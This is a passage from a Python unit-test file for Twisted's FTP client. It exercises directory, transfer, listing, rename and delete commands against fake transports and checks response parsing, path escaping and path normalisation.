Login successful. Have fun.', # TYPE I '200 Binary it is, then.', # PASV '227 Entering Passive Mode (127,0,0,1,%d,%d)' % (portNum >> 8, portNum & 0xff), # RETR /file/that/doesnt/exist '550 Failed to open file.'] f.buildProtocol = lambda addr: PrintLines(responses) client = ftp.FTPClient(passive=1) cc = protocol.ClientCreator(reactor, ftp.FTPClient, passive=1) d = cc.connectTCP('127.0.0.1', portNum) def gotClient(client): p = protocol.Protocol() return client.retrieveFile('/file/that/doesnt/exist', p) d.addCallback(gotClient) return self.assertFailure(d, ftp.CommandFailed) def test_errbacksUponDisconnect(self): """ Test the ftp command errbacks when a connection lost happens during the operation. """ ftpClient = ftp.FTPClient() tr = proto_helpers.StringTransportWithDisconnection() ftpClient.makeConnection(tr) tr.protocol = ftpClient d = ftpClient.list('some path', Dummy()) m = [] def _eb(failure): m.append(failure) return None d.addErrback(_eb) from twisted.internet.main import CONNECTION_LOST ftpClient.connectionLost(failure.Failure(CONNECTION_LOST)) self.failUnless(m, m) return d class FTPClientTestCase(unittest.TestCase): """ Test advanced FTP client commands. """ def setUp(self): """ Create a FTP client and connect it to fake transport. """ self.client = ftp.FTPClient() self.transport = proto_helpers.StringTransportWithDisconnection() self.client.makeConnection(self.transport) self.transport.protocol = self.client def tearDown(self): """ Deliver disconnection notification to the client so that it can perform any cleanup which may be required. """ self.client.connectionLost(error.ConnectionLost()) def _testLogin(self): """ Test the login part. """ self.assertEqual(self.transport.value(), '') self.client.lineReceived( '331 Guest login ok, type your email address as password.') self.assertEqual(self.transport.value(), 'USER anonymous\r\n') self.transport.clear() self.client.lineReceived( '230 Anonymous login ok, access restrictions apply.') self.assertEqual(self.transport.value(), 'TYPE I\r\n') self.transport.clear() self.client.lineReceived('200 Type set to I.') def test_CDUP(self): """ Test the CDUP command. L{ftp.FTPClient.cdup} should return a Deferred which fires with a sequence of one element which is the string the server sent indicating that the command was executed successfully. (XXX - This is a bad API) """ def cbCdup(res): self.assertEqual(res[0], '250 Requested File Action Completed OK') self._testLogin() d = self.client.cdup().addCallback(cbCdup) self.assertEqual(self.transport.value(), 'CDUP\r\n') self.transport.clear() self.client.lineReceived('250 Requested File Action Completed OK') return d def test_failedCDUP(self): """ Test L{ftp.FTPClient.cdup}'s handling of a failed CDUP command. When the CDUP command fails, the returned Deferred should errback with L{ftp.CommandFailed}. """ self._testLogin() d = self.client.cdup() self.assertFailure(d, ftp.CommandFailed) self.assertEqual(self.transport.value(), 'CDUP\r\n') self.transport.clear() self.client.lineReceived('550 ..: No such file or directory') return d def test_PWD(self): """ Test the PWD command. L{ftp.FTPClient.pwd} should return a Deferred which fires with a sequence of one element which is a string representing the current working directory on the server. (XXX - This is a bad API) """ def cbPwd(res): self.assertEqual(ftp.parsePWDResponse(res[0]), "/bar/baz") self._testLogin() d = self.client.pwd().addCallback(cbPwd) self.assertEqual(self.transport.value(), 'PWD\r\n') self.client.lineReceived('257 "/bar/baz"') return d def test_failedPWD(self): """ Test a failure in PWD command. When the PWD command fails, the returned Deferred should errback with L{ftp.CommandFailed}. """ self._testLogin() d = self.client.pwd() self.assertFailure(d, ftp.CommandFailed) self.assertEqual(self.transport.value(), 'PWD\r\n') self.client.lineReceived('550 /bar/baz: No such file or directory') return d def test_CWD(self): """ Test the CWD command. L{ftp.FTPClient.cwd} should return a Deferred which fires with a sequence of one element which is the string the server sent indicating that the command was executed successfully. (XXX - This is a bad API) """ def cbCwd(res): self.assertEqual(res[0], '250 Requested File Action Completed OK') self._testLogin() d = self.client.cwd("bar/foo").addCallback(cbCwd) self.assertEqual(self.transport.value(), 'CWD bar/foo\r\n') self.client.lineReceived('250 Requested File Action Completed OK') return d def test_failedCWD(self): """ Test a failure in CWD command. When the PWD command fails, the returned Deferred should errback with L{ftp.CommandFailed}. """ self._testLogin() d = self.client.cwd("bar/foo") self.assertFailure(d, ftp.CommandFailed) self.assertEqual(self.transport.value(), 'CWD bar/foo\r\n') self.client.lineReceived('550 bar/foo: No such file or directory') return d def test_passiveRETR(self): """ Test the RETR command in passive mode: get a file and verify its content. L{ftp.FTPClient.retrieveFile} should return a Deferred which fires with the protocol instance passed to it after the download has completed. (XXX - This API should be based on producers and consumers) """ def cbRetr(res, proto): self.assertEqual(proto.buffer, 'x' * 1000) def cbConnect(host, port, factory): self.assertEqual(host, '127.0.0.1') self.assertEqual(port, 12345) proto = factory.buildProtocol((host, port)) proto.makeConnection(proto_helpers.StringTransport()) self.client.lineReceived( '150 File status okay; about to open data connection.') proto.dataReceived("x" * 1000) proto.connectionLost(failure.Failure(error.ConnectionDone(""))) self.client.connectFactory = cbConnect self._testLogin() proto = _BufferingProtocol() d = self.client.retrieveFile("spam", proto) d.addCallback(cbRetr, proto) self.assertEqual(self.transport.value(), 'PASV\r\n') self.transport.clear() self.client.lineReceived('227 Entering Passive Mode (%s).' % (ftp.encodeHostPort('127.0.0.1', 12345),)) self.assertEqual(self.transport.value(), 'RETR spam\r\n') self.transport.clear() self.client.lineReceived('226 Transfer Complete.') return d def test_RETR(self): """ Test the RETR command in non-passive mode. Like L{test_passiveRETR} but in the configuration where the server establishes the data connection to the client, rather than the other way around. """ self.client.passive = False def generatePort(portCmd): portCmd.text = 'PORT %s' % (ftp.encodeHostPort('127.0.0.1', 9876),) portCmd.protocol.makeConnection(proto_helpers.StringTransport()) portCmd.protocol.dataReceived("x" * 1000) portCmd.protocol.connectionLost( failure.Failure(error.ConnectionDone(""))) def cbRetr(res, proto): self.assertEqual(proto.buffer, 'x' * 1000) self.client.generatePortCommand = generatePort self._testLogin() proto = _BufferingProtocol() d = self.client.retrieveFile("spam", proto) d.addCallback(cbRetr, proto) self.assertEqual(self.transport.value(), 'PORT %s\r\n' % (ftp.encodeHostPort('127.0.0.1', 9876),)) self.transport.clear() self.client.lineReceived('200 PORT OK') self.assertEqual(self.transport.value(), 'RETR spam\r\n') self.transport.clear() self.client.lineReceived('226 Transfer Complete.') return d def test_failedRETR(self): """ Try to RETR an unexisting file. L{ftp.FTPClient.retrieveFile} should return a Deferred which errbacks with L{ftp.CommandFailed} if the server indicates the file cannot be transferred for some reason. """ def cbConnect(host, port, factory): self.assertEqual(host, '127.0.0.1') self.assertEqual(port, 12345) proto = factory.buildProtocol((host, port)) proto.makeConnection(proto_helpers.StringTransport()) self.client.lineReceived( '150 File status okay; about to open data connection.') proto.connectionLost(failure.Failure(error.ConnectionDone(""))) self.client.connectFactory = cbConnect self._testLogin() proto = _BufferingProtocol() d = self.client.retrieveFile("spam", proto) self.assertFailure(d, ftp.CommandFailed) self.assertEqual(self.transport.value(), 'PASV\r\n') self.transport.clear() self.client.lineReceived('227 Entering Passive Mode (%s).' % (ftp.encodeHostPort('127.0.0.1', 12345),)) self.assertEqual(self.transport.value(), 'RETR spam\r\n') self.transport.clear() self.client.lineReceived('550 spam: No such file or directory') return d def test_lostRETR(self): """ Try a RETR, but disconnect during the transfer. L{ftp.FTPClient.retrieveFile} should return a Deferred which errbacks with L{ftp.ConnectionLost) """ self.client.passive = False l = [] def generatePort(portCmd): portCmd.text = 'PORT %s' % (ftp.encodeHostPort('127.0.0.1', 9876),) tr = proto_helpers.StringTransportWithDisconnection() portCmd.protocol.makeConnection(tr) tr.protocol = portCmd.protocol portCmd.protocol.dataReceived("x" * 500) l.append(tr) self.client.generatePortCommand = generatePort self._testLogin() proto = _BufferingProtocol() d = self.client.retrieveFile("spam", proto) self.assertEqual(self.transport.value(), 'PORT %s\r\n' % (ftp.encodeHostPort('127.0.0.1', 9876),)) self.transport.clear() self.client.lineReceived('200 PORT OK') self.assertEqual(self.transport.value(), 'RETR spam\r\n') self.assert_(l) l[0].loseConnection() self.transport.loseConnection() self.assertFailure(d, ftp.ConnectionLost) return d def test_passiveSTOR(self): """ Test the STOR command: send a file and verify its content. L{ftp.FTPClient.storeFile} should return a two-tuple of Deferreds. The first of which should fire with a protocol instance when the data connection has been established and is responsible for sending the contents of the file. The second of which should fire when the upload has completed, the data connection has been closed, and the server has acknowledged receipt of the file. (XXX - storeFile should take a producer as an argument, instead, and only return a Deferred which fires when the upload has succeeded or failed). """ tr = proto_helpers.StringTransport() def cbStore(sender): self.client.lineReceived( '150 File status okay; about to open data connection.') sender.transport.write("x" * 1000) sender.finish() sender.connectionLost(failure.Failure(error.ConnectionDone(""))) def cbFinish(ign): self.assertEqual(tr.value(), "x" * 1000) def cbConnect(host, port, factory): self.assertEqual(host, '127.0.0.1') self.assertEqual(port, 12345) proto = factory.buildProtocol((host, port)) proto.makeConnection(tr) self.client.connectFactory = cbConnect self._testLogin() d1, d2 = self.client.storeFile("spam") d1.addCallback(cbStore) d2.addCallback(cbFinish) self.assertEqual(self.transport.value(), 'PASV\r\n') self.transport.clear() self.client.lineReceived('227 Entering Passive Mode (%s).' % (ftp.encodeHostPort('127.0.0.1', 12345),)) self.assertEqual(self.transport.value(), 'STOR spam\r\n') self.transport.clear() self.client.lineReceived('226 Transfer Complete.') return defer.gatherResults([d1, d2]) def test_failedSTOR(self): """ Test a failure in the STOR command. If the server does not acknowledge successful receipt of the uploaded file, the second Deferred returned by L{ftp.FTPClient.storeFile} should errback with L{ftp.CommandFailed}. """ tr = proto_helpers.StringTransport() def cbStore(sender): self.client.lineReceived( '150 File status okay; about to open data connection.') sender.transport.write("x" * 1000) sender.finish() sender.connectionLost(failure.Failure(error.ConnectionDone(""))) def cbConnect(host, port, factory): self.assertEqual(host, '127.0.0.1') self.assertEqual(port, 12345) proto = factory.buildProtocol((host, port)) proto.makeConnection(tr) self.client.connectFactory = cbConnect self._testLogin() d1, d2 = self.client.storeFile("spam") d1.addCallback(cbStore) self.assertFailure(d2, ftp.CommandFailed) self.assertEqual(self.transport.value(), 'PASV\r\n') self.transport.clear() self.client.lineReceived('227 Entering Passive Mode (%s).' % (ftp.encodeHostPort('127.0.0.1', 12345),)) self.assertEqual(self.transport.value(), 'STOR spam\r\n') self.transport.clear() self.client.lineReceived( '426 Transfer aborted. Data connection closed.') return defer.gatherResults([d1, d2]) def test_STOR(self): """ Test the STOR command in non-passive mode. Like L{test_passiveSTOR} but in the configuration where the server establishes the data connection to the client, rather than the other way around. """ tr = proto_helpers.StringTransport() self.client.passive = False def generatePort(portCmd): portCmd.text = 'PORT %s' % ftp.encodeHostPort('127.0.0.1', 9876) portCmd.protocol.makeConnection(tr) def cbStore(sender): self.assertEqual(self.transport.value(), 'PORT %s\r\n' % (ftp.encodeHostPort('127.0.0.1', 9876),)) self.transport.clear() self.client.lineReceived('200 PORT OK') self.assertEqual(self.transport.value(), 'STOR spam\r\n') self.transport.clear() self.client.lineReceived( '150 File status okay; about to open data connection.') sender.transport.write("x" * 1000) sender.finish() sender.connectionLost(failure.Failure(error.ConnectionDone(""))) self.client.lineReceived('226 Transfer Complete.') def cbFinish(ign): self.assertEqual(tr.value(), "x" * 1000) self.client.generatePortCommand = generatePort self._testLogin() d1, d2 = self.client.storeFile("spam") d1.addCallback(cbStore) d2.addCallback(cbFinish) return defer.gatherResults([d1, d2]) def test_passiveLIST(self): """ Test the LIST command. L{ftp.FTPClient.list} should return a Deferred which fires with a protocol instance which was passed to list after the command has succeeded. (XXX - This is a very unfortunate API; if my understanding is correct, the results are always at least line-oriented, so allowing a per-line parser function to be specified would make this simpler, but a default implementation should really be provided which knows how to deal with all the formats used in real servers, so application developers never have to care about this insanity. It would also be nice to either get back a Deferred of a list of filenames or to be able to consume the files as they are received (which the current API does allow, but in a somewhat inconvenient fashion) -exarkun) """ def cbList(res, fileList): fls = [f["filename"] for f in fileList.files] expected = ["foo", "bar", "baz"] expected.sort() fls.sort() self.assertEqual(fls, expected) def cbConnect(host, port, factory): self.assertEqual(host, '127.0.0.1') self.assertEqual(port, 12345) proto = factory.buildProtocol((host, port)) proto.makeConnection(proto_helpers.StringTransport()) self.client.lineReceived( '150 File status okay; about to open data connection.') sending = [ '-rw-r--r-- 0 spam egg 100 Oct 10 2006 foo\r\n', '-rw-r--r-- 3 spam egg 100 Oct 10 2006 bar\r\n', '-rw-r--r-- 4 spam egg 100 Oct 10 2006 baz\r\n', ] for i in sending: proto.dataReceived(i) proto.connectionLost(failure.Failure(error.ConnectionDone(""))) self.client.connectFactory = cbConnect self._testLogin() fileList = ftp.FTPFileListProtocol() d = self.client.list('foo/bar', fileList).addCallback(cbList, fileList) self.assertEqual(self.transport.value(), 'PASV\r\n') self.transport.clear() self.client.lineReceived('227 Entering Passive Mode (%s).' % (ftp.encodeHostPort('127.0.0.1', 12345),)) self.assertEqual(self.transport.value(), 'LIST foo/bar\r\n') self.client.lineReceived('226 Transfer Complete.') return d def test_LIST(self): """ Test the LIST command in non-passive mode. Like L{test_passiveLIST} but in the configuration where the server establishes the data connection to the client, rather than the other way around. """ self.client.passive = False def generatePort(portCmd): portCmd.text = 'PORT %s' % (ftp.encodeHostPort('127.0.0.1', 9876),) portCmd.protocol.makeConnection(proto_helpers.StringTransport()) self.client.lineReceived( '150 File status okay; about to open data connection.') sending = [ '-rw-r--r-- 0 spam egg 100 Oct 10 2006 foo\r\n', '-rw-r--r-- 3 spam egg 100 Oct 10 2006 bar\r\n', '-rw-r--r-- 4 spam egg 100 Oct 10 2006 baz\r\n', ] for i in sending: portCmd.protocol.dataReceived(i) portCmd.protocol.connectionLost( failure.Failure(error.ConnectionDone(""))) def cbList(res, fileList): fls = [f["filename"] for f in fileList.files] expected = ["foo", "bar", "baz"] expected.sort() fls.sort() self.assertEqual(fls, expected) self.client.generatePortCommand = generatePort self._testLogin() fileList = ftp.FTPFileListProtocol() d = self.client.list('foo/bar', fileList).addCallback(cbList, fileList) self.assertEqual(self.transport.value(), 'PORT %s\r\n' % (ftp.encodeHostPort('127.0.0.1', 9876),)) self.transport.clear() self.client.lineReceived('200 PORT OK') self.assertEqual(self.transport.value(), 'LIST foo/bar\r\n') self.transport.clear() self.client.lineReceived('226 Transfer Complete.') return d def test_failedLIST(self): """ Test a failure in LIST command. L{ftp.FTPClient.list} should return a Deferred which fails with L{ftp.CommandFailed} if the server indicates the indicated path is invalid for some reason. """ def cbConnect(host, port, factory): self.assertEqual(host, '127.0.0.1') self.assertEqual(port, 12345) proto = factory.buildProtocol((host, port)) proto.makeConnection(proto_helpers.StringTransport()) self.client.lineReceived( '150 File status okay; about to open data connection.') proto.connectionLost(failure.Failure(error.ConnectionDone(""))) self.client.connectFactory = cbConnect self._testLogin() fileList = ftp.FTPFileListProtocol() d = self.client.list('foo/bar', fileList) self.assertFailure(d, ftp.CommandFailed) self.assertEqual(self.transport.value(), 'PASV\r\n') self.transport.clear() self.client.lineReceived('227 Entering Passive Mode (%s).' % (ftp.encodeHostPort('127.0.0.1', 12345),)) self.assertEqual(self.transport.value(), 'LIST foo/bar\r\n') self.client.lineReceived('550 foo/bar: No such file or directory') return d def test_NLST(self): """ Test the NLST command in non-passive mode. L{ftp.FTPClient.nlst} should return a Deferred which fires with a list of filenames when the list command has completed. """ self.client.passive = False def generatePort(portCmd): portCmd.text = 'PORT %s' % (ftp.encodeHostPort('127.0.0.1', 9876),) portCmd.protocol.makeConnection(proto_helpers.StringTransport()) self.client.lineReceived( '150 File status okay; about to open data connection.') portCmd.protocol.dataReceived('foo\r\n') portCmd.protocol.dataReceived('bar\r\n') portCmd.protocol.dataReceived('baz\r\n') portCmd.protocol.connectionLost( failure.Failure(error.ConnectionDone(""))) def cbList(res, proto): fls = proto.buffer.splitlines() expected = ["foo", "bar", "baz"] expected.sort() fls.sort() self.assertEqual(fls, expected) self.client.generatePortCommand = generatePort self._testLogin() lstproto = _BufferingProtocol() d = self.client.nlst('foo/bar', lstproto).addCallback(cbList, lstproto) self.assertEqual(self.transport.value(), 'PORT %s\r\n' % (ftp.encodeHostPort('127.0.0.1', 9876),)) self.transport.clear() self.client.lineReceived('200 PORT OK') self.assertEqual(self.transport.value(), 'NLST foo/bar\r\n') self.client.lineReceived('226 Transfer Complete.') return d def test_passiveNLST(self): """ Test the NLST command. Like L{test_passiveNLST} but in the configuration where the server establishes the data connection to the client, rather than the other way around. """ def cbList(res, proto): fls = proto.buffer.splitlines() expected = ["foo", "bar", "baz"] expected.sort() fls.sort() self.assertEqual(fls, expected) def cbConnect(host, port, factory): self.assertEqual(host, '127.0.0.1') self.assertEqual(port, 12345) proto = factory.buildProtocol((host, port)) proto.makeConnection(proto_helpers.StringTransport()) self.client.lineReceived( '150 File status okay; about to open data connection.') proto.dataReceived('foo\r\n') proto.dataReceived('bar\r\n') proto.dataReceived('baz\r\n') proto.connectionLost(failure.Failure(error.ConnectionDone(""))) self.client.connectFactory = cbConnect self._testLogin() lstproto = _BufferingProtocol() d = self.client.nlst('foo/bar', lstproto).addCallback(cbList, lstproto) self.assertEqual(self.transport.value(), 'PASV\r\n') self.transport.clear() self.client.lineReceived('227 Entering Passive Mode (%s).' % (ftp.encodeHostPort('127.0.0.1', 12345),)) self.assertEqual(self.transport.value(), 'NLST foo/bar\r\n') self.client.lineReceived('226 Transfer Complete.') return d def test_failedNLST(self): """ Test a failure in NLST command. L{ftp.FTPClient.nlst} should return a Deferred which fails with L{ftp.CommandFailed} if the server indicates the indicated path is invalid for some reason. """ tr = proto_helpers.StringTransport() def cbConnect(host, port, factory): self.assertEqual(host, '127.0.0.1') self.assertEqual(port, 12345) proto = factory.buildProtocol((host, port)) proto.makeConnection(tr) self.client.lineReceived( '150 File status okay; about to open data connection.') proto.connectionLost(failure.Failure(error.ConnectionDone(""))) self.client.connectFactory = cbConnect self._testLogin() lstproto = _BufferingProtocol() d = self.client.nlst('foo/bar', lstproto) self.assertFailure(d, ftp.CommandFailed) self.assertEqual(self.transport.value(), 'PASV\r\n') self.transport.clear() self.client.lineReceived('227 Entering Passive Mode (%s).' % (ftp.encodeHostPort('127.0.0.1', 12345),)) self.assertEqual(self.transport.value(), 'NLST foo/bar\r\n') self.client.lineReceived('550 foo/bar: No such file or directory') return d def test_renameFromTo(self): """ L{ftp.FTPClient.rename} issues I{RNTO} and I{RNFR} commands and returns a L{Deferred} which fires when a file has successfully been renamed. """ self._testLogin() d = self.client.rename("/spam", "/ham") self.assertEqual(self.transport.value(), 'RNFR /spam\r\n') self.transport.clear() fromResponse = ( '350 Requested file action pending further information.\r\n') self.client.lineReceived(fromResponse) self.assertEqual(self.transport.value(), 'RNTO /ham\r\n') toResponse = ( '250 Requested File Action Completed OK') self.client.lineReceived(toResponse) d.addCallback(self.assertEqual, ([fromResponse], [toResponse])) return d def test_renameFromToEscapesPaths(self): """ L{ftp.FTPClient.rename} issues I{RNTO} and I{RNFR} commands with paths escaped according to U{http://cr.yp.to/ftp/filesystem.html}. """ self._testLogin() fromFile = "/foo/ba\nr/baz" toFile = "/qu\nux" self.client.rename(fromFile, toFile) self.client.lineReceived("350 ") self.client.lineReceived("250 ") self.assertEqual( self.transport.value(), "RNFR /foo/ba\x00r/baz\r\n" "RNTO /qu\x00ux\r\n") def test_renameFromToFailingOnFirstError(self): """ The L{Deferred} returned by L{ftp.FTPClient.rename} is errbacked with L{CommandFailed} if the I{RNFR} command receives an error response code (for example, because the file does not exist). """ self._testLogin() d = self.client.rename("/spam", "/ham") self.assertEqual(self.transport.value(), 'RNFR /spam\r\n') self.transport.clear() self.client.lineReceived('550 Requested file unavailable.\r\n') # The RNTO should not execute since the RNFR failed. self.assertEqual(self.transport.value(), '') return self.assertFailure(d, ftp.CommandFailed) def test_renameFromToFailingOnRenameTo(self): """ The L{Deferred} returned by L{ftp.FTPClient.rename} is errbacked with L{CommandFailed} if the I{RNTO} command receives an error response code (for example, because the destination directory does not exist). """ self._testLogin() d = self.client.rename("/spam", "/ham") self.assertEqual(self.transport.value(), 'RNFR /spam\r\n') self.transport.clear() self.client.lineReceived('350 Requested file action pending further information.\r\n') self.assertEqual(self.transport.value(), 'RNTO /ham\r\n') self.client.lineReceived('550 Requested file unavailable.\r\n') return self.assertFailure(d, ftp.CommandFailed) def test_makeDirectory(self): """ L{ftp.FTPClient.makeDirectory} issues a I{MKD} command and returns a L{Deferred} which is called back with the server's response if the directory is created. """ self._testLogin() d = self.client.makeDirectory("/spam") self.assertEqual(self.transport.value(), 'MKD /spam\r\n') self.client.lineReceived('257 "/spam" created.') return d.addCallback(self.assertEqual, ['257 "/spam" created.']) def test_makeDirectoryPathEscape(self): """ L{ftp.FTPClient.makeDirectory} escapes the path name it sends according to U{http://cr.yp.to/ftp/filesystem.html}. """ self._testLogin() d = self.client.makeDirectory("/sp\nam") self.assertEqual(self.transport.value(), 'MKD /sp\x00am\r\n') # This is necessary to make the Deferred fire. The Deferred needs # to fire so that tearDown doesn't cause it to errback and fail this # or (more likely) a later test. self.client.lineReceived('257 win') return d def test_failedMakeDirectory(self): """ L{ftp.FTPClient.makeDirectory} returns a L{Deferred} which is errbacked with L{CommandFailed} if the server returns an error response code. """ self._testLogin() d = self.client.makeDirectory("/spam") self.assertEqual(self.transport.value(), 'MKD /spam\r\n') self.client.lineReceived('550 PERMISSION DENIED') return self.assertFailure(d, ftp.CommandFailed) def test_getDirectory(self): """ Test the getDirectory method. L{ftp.FTPClient.getDirectory} should return a Deferred which fires with the current directory on the server. It wraps PWD command. """ def cbGet(res): self.assertEqual(res, "/bar/baz") self._testLogin() d = self.client.getDirectory().addCallback(cbGet) self.assertEqual(self.transport.value(), 'PWD\r\n') self.client.lineReceived('257 "/bar/baz"') return d def test_failedGetDirectory(self): """ Test a failure in getDirectory method. The behaviour should be the same as PWD. """ self._testLogin() d = self.client.getDirectory() self.assertFailure(d, ftp.CommandFailed) self.assertEqual(self.transport.value(), 'PWD\r\n') self.client.lineReceived('550 /bar/baz: No such file or directory') return d def test_anotherFailedGetDirectory(self): """ Test a different failure in getDirectory method. The response should be quoted to be parsed, so it returns an error otherwise. """ self._testLogin() d = self.client.getDirectory() self.assertFailure(d, ftp.CommandFailed) self.assertEqual(self.transport.value(), 'PWD\r\n') self.client.lineReceived('257 /bar/baz') return d def test_removeFile(self): """ L{ftp.FTPClient.removeFile} sends a I{DELE} command to the server for the indicated file and returns a Deferred which fires after the server sends a 250 response code. """ self._testLogin() d = self.client.removeFile("/tmp/test") self.assertEqual(self.transport.value(), 'DELE /tmp/test\r\n') response = '250 Requested file action okay, completed.' self.client.lineReceived(response) return d.addCallback(self.assertEqual, [response]) def test_failedRemoveFile(self): """ If the server returns a response code other than 250 in response to a I{DELE} sent by L{ftp.FTPClient.removeFile}, the L{Deferred} returned by C{removeFile} is errbacked with a L{Failure} wrapping a L{CommandFailed}. """ self._testLogin() d = self.client.removeFile("/tmp/test") self.assertEqual(self.transport.value(), 'DELE /tmp/test\r\n') response = '501 Syntax error in parameters or arguments.' self.client.lineReceived(response) d = self.assertFailure(d, ftp.CommandFailed) d.addCallback(lambda exc: self.assertEqual(exc.args, ([response],))) return d def test_unparsableRemoveFileResponse(self): """ If the server returns a response line which cannot be parsed, the L{Deferred} returned by L{ftp.FTPClient.removeFile} is errbacked with a L{BadResponse} containing the response. """ self._testLogin() d = self.client.removeFile("/tmp/test") response = '765 blah blah blah' self.client.lineReceived(response) d = self.assertFailure(d, ftp.BadResponse) d.addCallback(lambda exc: self.assertEqual(exc.args, ([response],))) return d def test_multilineRemoveFileResponse(self): """ If the server returns multiple response lines, the L{Deferred} returned by L{ftp.FTPClient.removeFile} is still fired with a true value if the ultimate response code is 250. """ self._testLogin() d = self.client.removeFile("/tmp/test") response = ['250-perhaps a progress report', '250 okay'] map(self.client.lineReceived, response) return d.addCallback(self.assertTrue) def test_removeDirectory(self): """ L{ftp.FTPClient.removeDirectory} sends a I{RMD} command to the server for the indicated directory and returns a Deferred which fires after the server sends a 250 response code. """ self._testLogin() d = self.client.removeDirectory('/tmp/test') self.assertEqual(self.transport.value(), 'RMD /tmp/test\r\n') response = '250 Requested file action okay, completed.' self.client.lineReceived(response) return d.addCallback(self.assertEqual, [response]) def test_failedRemoveDirectory(self): """ If the server returns a response code other than 250 in response to a I{RMD} sent by L{ftp.FTPClient.removeDirectory}, the L{Deferred} returned by C{removeDirectory} is errbacked with a L{Failure} wrapping a L{CommandFailed}. """ self._testLogin() d = self.client.removeDirectory("/tmp/test") self.assertEqual(self.transport.value(), 'RMD /tmp/test\r\n') response = '501 Syntax error in parameters or arguments.' self.client.lineReceived(response) d = self.assertFailure(d, ftp.CommandFailed) d.addCallback(lambda exc: self.assertEqual(exc.args, ([response],))) return d def test_unparsableRemoveDirectoryResponse(self): """ If the server returns a response line which cannot be parsed, the L{Deferred} returned by L{ftp.FTPClient.removeDirectory} is errbacked with a L{BadResponse} containing the response. """ self._testLogin() d = self.client.removeDirectory("/tmp/test") response = '765 blah blah blah' self.client.lineReceived(response) d = self.assertFailure(d, ftp.BadResponse) d.addCallback(lambda exc: self.assertEqual(exc.args, ([response],))) return d def test_multilineRemoveDirectoryResponse(self): """ If the server returns multiple response lines, the L{Deferred} returned by L{ftp.FTPClient.removeDirectory} is still fired with a true value if the ultimate response code is 250. """ self._testLogin() d = self.client.removeDirectory("/tmp/test") response = ['250-perhaps a progress report', '250 okay'] map(self.client.lineReceived, response) return d.addCallback(self.assertTrue) class FTPClientBasicTests(unittest.TestCase): def testGreeting(self): # The first response is captured as a greeting. ftpClient = ftp.FTPClientBasic() ftpClient.lineReceived('220 Imaginary FTP.') self.assertEqual(['220 Imaginary FTP.'], ftpClient.greeting) def testResponseWithNoMessage(self): # Responses with no message are still valid, i.e. three digits followed # by a space is complete response. ftpClient = ftp.FTPClientBasic() ftpClient.lineReceived('220 ') self.assertEqual(['220 '], ftpClient.greeting) def testMultilineResponse(self): ftpClient = ftp.FTPClientBasic() ftpClient.transport = proto_helpers.StringTransport() ftpClient.lineReceived('220 Imaginary FTP.') # Queue (and send) a dummy command, and set up a callback to capture the # result deferred = ftpClient.queueStringCommand('BLAH') result = [] deferred.addCallback(result.append) deferred.addErrback(self.fail) # Send the first line of a multiline response. ftpClient.lineReceived('210-First line.') self.assertEqual([], result) # Send a second line, again prefixed with "nnn-". ftpClient.lineReceived('123-Second line.') self.assertEqual([], result) # Send a plain line of text, no prefix. ftpClient.lineReceived('Just some text.') self.assertEqual([], result) # Now send a short (less than 4 chars) line. ftpClient.lineReceived('Hi') self.assertEqual([], result) # Now send an empty line. ftpClient.lineReceived('') self.assertEqual([], result) # And a line with 3 digits in it, and nothing else. ftpClient.lineReceived('321') self.assertEqual([], result) # Now finish it. ftpClient.lineReceived('210 Done.') self.assertEqual( ['210-First line.', '123-Second line.', 'Just some text.', 'Hi', '', '321', '210 Done.'], result[0]) def test_noPasswordGiven(self): """ Passing None as the password avoids sending the PASS command. """ # Create a client, and give it a greeting. ftpClient = ftp.FTPClientBasic() ftpClient.transport = proto_helpers.StringTransport() ftpClient.lineReceived('220 Welcome to Imaginary FTP.') # Queue a login with no password ftpClient.queueLogin('bob', None) self.assertEqual('USER bob\r\n', ftpClient.transport.value()) # Clear the test buffer, acknowledge the USER command. ftpClient.transport.clear() ftpClient.lineReceived('200 Hello bob.') # The client shouldn't have sent anything more (i.e. it shouldn't have # sent a PASS command). self.assertEqual('', ftpClient.transport.value()) def test_noPasswordNeeded(self): """ Receiving a 230 response to USER prevents PASS from being sent. """ # Create a client, and give it a greeting. ftpClient = ftp.FTPClientBasic() ftpClient.transport = proto_helpers.StringTransport() ftpClient.lineReceived('220 Welcome to Imaginary FTP.') # Queue a login with no password ftpClient.queueLogin('bob', 'secret') self.assertEqual('USER bob\r\n', ftpClient.transport.value()) # Clear the test buffer, acknowledge the USER command with a 230 # response code. ftpClient.transport.clear() ftpClient.lineReceived('230 Hello bob. No password needed.') # The client shouldn't have sent anything more (i.e. it shouldn't have # sent a PASS command). self.assertEqual('', ftpClient.transport.value()) class PathHandling(unittest.TestCase): def testNormalizer(self): for inp, outp in [('a', ['a']), ('/a', ['a']), ('/', []), ('a/b/c', ['a', 'b', 'c']), ('/a/b/c', ['a', 'b', 'c']), ('/a/', ['a']), ('a/', ['a'])]: self.assertEqual(ftp.toSegments([], inp), outp) for inp, outp in [('b', ['a', 'b']), ('b/', ['a', 'b']), ('/b', ['b']), ('/b/', ['b']), ('b/c', ['a', 'b', 'c']), ('b/c/', ['a', 'b', 'c']), ('/b/c', ['b', 'c']), ('/b/c/', ['b', 'c'])]: self.assertEqual(ftp.toSegments(['a'], inp), outp) for inp, outp in [('//', []), ('//a', ['a']), ('a//', ['a']), ('a//b', ['a', 'b'])]: self.assertEqual(ftp.toSegments([], inp), outp) for inp, outp in [('//', []), ('//b', ['b']), ('b//c', ['a', 'b', 'c'])]: self.assertEqual(ftp.toSegments(['a'], inp), outp) for inp, outp in [('..', []), ('../', []), ('a/..', ['x']), ('/a/..', []), ('/a/b/..', ['a']), ('/a/b/../', ['a']), ('/a/b/../c', ['a', 'c']), ('/a/b/../c/', ['a', 'c']), ('/a/b/../../c', ['c']), ('/a/b/../../c/', ['c']), ('/a/b/../../c/..', []), ('/a/b/../../c/../', [])]: self.assertEqual(ftp.toSegments(['x'], inp), outp) for inp in ['..', '../', 'a/../..', 'a/../../', '/..', '/../', '/a/../..', '/a/../../', '/a/b/../../..']: self.assertRaises(ftp.InvalidPath, ftp.toSegments, [], inp) for inp in ['../..', '../../', '../a/../..']: self.assertRaises(ftp.InvalidPath, ftp.toSegments, ['x'], inp) class IsGlobbingExpressionTests(unittest.TestCase): """ Tests for _isGlobbingExpression utility function. """ def test_isGlobbingExpressionEmptySegments(self): """ _isGlobbingExpression will return False for None, or empty segments. """ self.assertFalse(ftp._isGlobbingExpression()) self.assertFalse(ftp._isGlobbingExpression([])) self.assertFalse(ftp._isGlobbingExpression(None)) def test_isGlobbingExpressionNoGlob(self): """ _isGlobbingExpression will return False for plain segments. Also, it only checks the last segment part (filename) and will not check the path name. """ 